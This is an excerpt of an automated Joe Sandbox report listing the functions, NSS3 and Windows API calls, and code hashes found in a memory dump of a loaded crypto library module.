Part of subcall function 6D05EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6D05EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6D047FFB), ref: 6D07312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6D073154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D072E8B

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

Part of subcall function 6D05F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6D049BFF,?,00000000,00000000), ref: 6D05F134

memcpy.VCRUNTIME140(8B3C75C0,?,6D047FFA), ref: 6D072EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D07317B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: cc5fe89e1381a411194b6cbc0d11f914b2e3b9353dceb184d9bba5ae34d3935b
Instruction ID: 860fe7f68adc9412e8e1a8f1ed5d2569fac88c1f715e9c5e697a8e45d9455c6c
Opcode Fuzzy Hash: cc5fe89e1381a411194b6cbc0d11f914b2e3b9353dceb184d9bba5ae34d3935b
Instruction Fuzzy Hash: FFA19C71A002199FEB24CF54CC80BAEB7B5EF49304F0580A9ED49AB341E771A995CFA5

Function 6D03ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6D03ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6D03EDCE

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

free.MOZGLUE(00000000,?,?,?,?,6D03B04F), ref: 6D03EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D03EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6D03EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6D03EEFB

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 8c36f2c17140ece314a07e0b920e517f7f6fb3f1a87740d37110f91040fcee99
Instruction ID: 7bdfce20fb307fc57caa987beac5c47e85aef3b7def05f5170931b27aaae2cfd
Opcode Fuzzy Hash: 8c36f2c17140ece314a07e0b920e517f7f6fb3f1a87740d37110f91040fcee99
Instruction Fuzzy Hash: B98158B5A002179FEB14CF59D884BAB7BF5BF88304F064628E925DB251DB71EC14CBA1

Function 6D03CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6D03C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6D03DAE2,?), ref: 6D03C6C2

PR_Now.NSS3 ref: 6D03CD35

Part of subcall function 6D099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DC6
Part of subcall function 6D099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DD1
Part of subcall function 6D099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D099DED

Part of subcall function 6D026C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CFD1C6F,00000000,00000004,?,?), ref: 6D026C3F

PR_GetCurrentThread.NSS3 ref: 6D03CD54

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

Part of subcall function 6D027260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CFD1CCC,00000000,00000000,?,?), ref: 6D02729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6D03CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6D03CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6D03CE2C

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6D03CE40

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

Part of subcall function 6D03CEE0: PORT_ArenaMark_Util.NSS3(?,6D03CD93,?), ref: 6D03CEEE
Part of subcall function 6D03CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6D03CD93,?), ref: 6D03CEFC
Part of subcall function 6D03CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6D03CD93,?), ref: 6D03CF0B
Part of subcall function 6D03CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6D03CD93,?), ref: 6D03CF1D

Part of subcall function 6D03CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF47
Part of subcall function 6D03CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF67
Part of subcall function 6D03CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6D03CD93,?,?,?,?,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF78

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: b8e2c2b24f8a50f1604dfa2f341028c87daee5ddf82212c62f03938692951c4b
Instruction ID: 53c61f978b4ab8104a6ca3e61982b96528ee1a8da2bbe5a1241b77177f9bb81d
Opcode Fuzzy Hash: b8e2c2b24f8a50f1604dfa2f341028c87daee5ddf82212c62f03938692951c4b
Instruction Fuzzy Hash: 6751AFB6A042329BFB10DF69DC40BAA77E4AF48344F174424D959EB350EB31ED41CB95

Function 6D04FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6D04FFE5

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_EnterMonitor.NSS3(?), ref: 6D050004
PR_EnterMonitor.NSS3(?), ref: 6D05001B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: dd5fa2549258a9eea8568425173762f68cf2e6903f475b7ad1106e1c3a56c3c2
Instruction ID: c94b9a2fe90bda363cb865306684fc94ef78f44ce9848c2553ab0744a82faaf2
Opcode Fuzzy Hash: dd5fa2549258a9eea8568425173762f68cf2e6903f475b7ad1106e1c3a56c3c2
Instruction Fuzzy Hash: C041427420C6008BF7304A2ADE517AE72E1EB4030CF44493DED4BCB694E3B9A565C64B

Function 6D00EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6D00EF38

Part of subcall function 6CFF9520: PK11_IsLoggedIn.NSS3(00000000,?,6D02379E,?,00000001,?), ref: 6CFF9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6D00EF53

Part of subcall function 6D014C20: TlsGetValue.KERNEL32 ref: 6D014C4C
Part of subcall function 6D014C20: EnterCriticalSection.KERNEL32(?), ref: 6D014C60
Part of subcall function 6D014C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014CA1
Part of subcall function 6D014C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6D014CBE
Part of subcall function 6D014C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014CD2
Part of subcall function 6D014C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D014D3A

PR_GetCurrentThread.NSS3 ref: 6D00EF9E

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

free.MOZGLUE(00000000), ref: 6D00EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D00F016
free.MOZGLUE(00000000), ref: 6D00F022

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: d3f42480ee82029b7cf17b5793b596db288b70e02b5022fcf0eb37150cfb41e7
Instruction ID: 245f3cb7a0686ae1145e419747912b1bdf71a900f2d5923df3ff8c16e1ec3a9a
Opcode Fuzzy Hash: d3f42480ee82029b7cf17b5793b596db288b70e02b5022fcf0eb37150cfb41e7
Instruction Fuzzy Hash: 294172B1E0010AABFF018FA9DC45BEE7BB9AF48358F044025FA14A7250E772C9159BA5

Function 6CFFCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CFFCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CFFD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CFFD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFD025
PR_NewLock.NSS3 ref: 6CFFD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFFD074

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 6494615dd26762a3a95c586ce36db836e15b8ffbb1b8ec30ce39d16e4c0e6e86
Instruction ID: 621944307ba4157d0ccfbc87a18b731d7cf7defeed6238b8f0d1eae745b4f0bd
Opcode Fuzzy Hash: 6494615dd26762a3a95c586ce36db836e15b8ffbb1b8ec30ce39d16e4c0e6e86
Instruction Fuzzy Hash: 2D41D6B1A053119FEB10DF29C88479BBBE4EF08318F114169DD298F7AAD774D486CBA1

Function 6D043FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D043FF2

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaMark_Util.NSS3(?), ref: 6D044001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6D04400F

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6D044054

Part of subcall function 6CFDBB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CFDBC24
Part of subcall function 6CFDBB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFDBC39
Part of subcall function 6CFDBB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CFDBC58
Part of subcall function 6CFDBB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CFDBCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D044070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6D0440CD

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 5605cb71a29ca41aa63d541f202bd135e429483f2a1f1f1b3afbf38df6599aa2
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 9631CB71E04352E7FB009F64DC41F7E33A4AF98708F058235EE085B246F7B1E9648292

Function 6CFE2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CFD2D1A), ref: 6CFE2E7E

Part of subcall function 6D0307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFD8298,?,?,?,6CFCFCE5,?), ref: 6D0307BF
Part of subcall function 6D0307B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0307E6
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D03081B
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D030825

PR_Now.NSS3 ref: 6CFE2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CFE2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CFD2D1A), ref: 6CFE2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CFD2D1A), ref: 6CFE2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CFE2F81

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: c1149d20c0ec90fbe1f1ba1e9f87e8004384736cfe20d6837ecc3ea6095a2c0e
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 08314671606186ABF710C655DC88FBFB269EF88318F240A79D52D879D0FB339886C612

Function 6CFD0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CFD0A2C), ref: 6CFD0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CFD0A2C), ref: 6CFD0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CFD0A2C), ref: 6CFD0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CFD0A2C), ref: 6CFD0E90
free.MOZGLUE(00000000), ref: 6CFD0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CFD0A2C), ref: 6CFD0ED9

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: cb9364a68da4adb4a0a4820adce34988a74fbfc03accb1e8a146a5be8fa7e93b
Instruction ID: b03399a842c46acd02ad1f521587b30de0b0623dbfc2c9f8029a5fa0a77307ef
Opcode Fuzzy Hash: cb9364a68da4adb4a0a4820adce34988a74fbfc03accb1e8a146a5be8fa7e93b
Instruction Fuzzy Hash: C2210E73E042875BFB1049669C45BEBB6AEDFC1748F1F4435D91C97602EBE0E85482A2

Function 6CFDAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFDAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CFDAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFDAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CFDAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6D0F9500), ref: 6CFDAF23

Part of subcall function 6D02F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6D02F0C8
Part of subcall function 6D02F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D02F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDAF37

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 7f14632ac89ebb5d6f14fe87feee43e11db8b0c66133c659233348316640a840
Instruction ID: c2ce8363c90ba1cb1a295bcbe142e7a78910f5485946593c7427d47f59dd8f81
Opcode Fuzzy Hash: 7f14632ac89ebb5d6f14fe87feee43e11db8b0c66133c659233348316640a840
Instruction Fuzzy Hash: E4213A729092006BF7108E299C41B5A7BE4AF8572CF1A4314FD549F2C1E731E50587AB

Function 6D05EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D05EE85
realloc.MOZGLUE(DC670E95,?), ref: 6D05EEAE
PORT_Alloc_Util.NSS3(?), ref: 6D05EEC5

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

htonl.WSOCK32(?), ref: 6D05EEE3
htonl.WSOCK32(00000000,?), ref: 6D05EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6D05EF01

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 5eca36f50863a6dde43dae41e9573251d541fe80d2c3a715f861f6841ffde1b5
Instruction ID: 37dafe12e18bfa26a7a4c5886099cbca1d70d7e237b83512425275f6f79c6510
Opcode Fuzzy Hash: 5eca36f50863a6dde43dae41e9573251d541fe80d2c3a715f861f6841ffde1b5
Instruction Fuzzy Hash: B6210231A04225AFEB109F28DD80B5AB7E4EF49358F058169ED48DF241E330EC20CBE2

Function 6D00EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D00EE49

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6D00EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6D00EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6D00EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6D00EEB3

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

